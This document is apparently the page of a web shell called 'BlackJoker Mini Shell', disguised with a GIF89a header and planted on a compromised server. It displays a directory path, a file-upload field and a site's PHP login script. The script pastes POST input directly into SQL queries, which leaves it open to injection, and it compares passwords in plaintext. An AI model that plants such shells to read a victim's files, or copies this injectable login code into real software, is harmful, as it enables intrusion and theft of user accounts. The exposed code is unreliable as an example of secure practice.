GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/m/
Upload File :
Current File : /home/serb/public_html/m/login-process.php

<?
  session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 if($_POST)
  {
	  $qur="SELECT * FROM user_info WHERE (username='".$_POST['txt-email']."' or email='".$_POST['txt-email']."') AND password='".$_POST['txt-password']."'" ;
	  $res=execute_query($qur);
	  $row=mysql_fetch_array($res);
	 // echo $row['user_status'];
	  $num=mysql_num_rows($res);
	  if($num>0)
	  {
				if($row['status']=='a')
				{
						$_SESSION['userlogin']="true";
						$_SESSION['userid']=$row['userid'];  
						$_SESSION['user']=$row['username'];
						$_SESSION['acctype']=$row['user_type'];
						$_SESSION['islogin']='yes';
						
						
						$date=date('Y-m-d');						 
						
						if($row['user_type']=='hobbyist')
						{
							 $sql_rwdpoint="SELECT * FROM user_info WHERE userid='".$row['userid']."'";
							$res_rwdpoint=execute_query($sql_rwdpoint);
							$row_rwdpoint=mysql_fetch_array($res_rwdpoint);
										
							$totrwd=$row_rwdpoint['rewards'] + 1;
							if($row_rwdpoint['logdate']!=$date)
							{
							
							$update_rwdpoint="UPDATE user_info SET rewards='$totrwd',logdate='$date' WHERE userid='".$row['userid']."'";
							execute_query($update_rwdpoint);
							}
						  
						  ?>
							<script language="javascript">
							 
								location.href="hobbyist-dashboard.php";
								
							</script>   
						  <?
							
						}
						else if($row['user_type']=='agency')
							{
								?>
							<script language="javascript">
							 
								location.href="agency-dashboard.php";
								
							</script>   
							<?
								
							}
							
							else if($_GET['advinfo'])
				
							{
								?>
								<script language="javascript">
								 
									location.href="escort-advertising.php";
									
								</script>   
								<?
							}
						else
						{
							
							?>
							<script language="javascript">						 
                                location.href="my-account.php";                                
                            </script>   
                            <? 
							
						}
							
							
						
				}
				else
				{
				?>
				<script language="javascript">
					alert('Your Account is not Activate. Check Your E-mail to activate your Account');
					location.href="index.php";
				</script>   
				<? 
				}
			  }
		  else
		  {
		 ?>
				 <script language="javascript">
					alert('You provide Invalid Username Or Email Or Password.');
					location.href="login.php";
				 </script> 
		  <?
		  }
  }
?>

./BlackJoker Mini Shell 1.0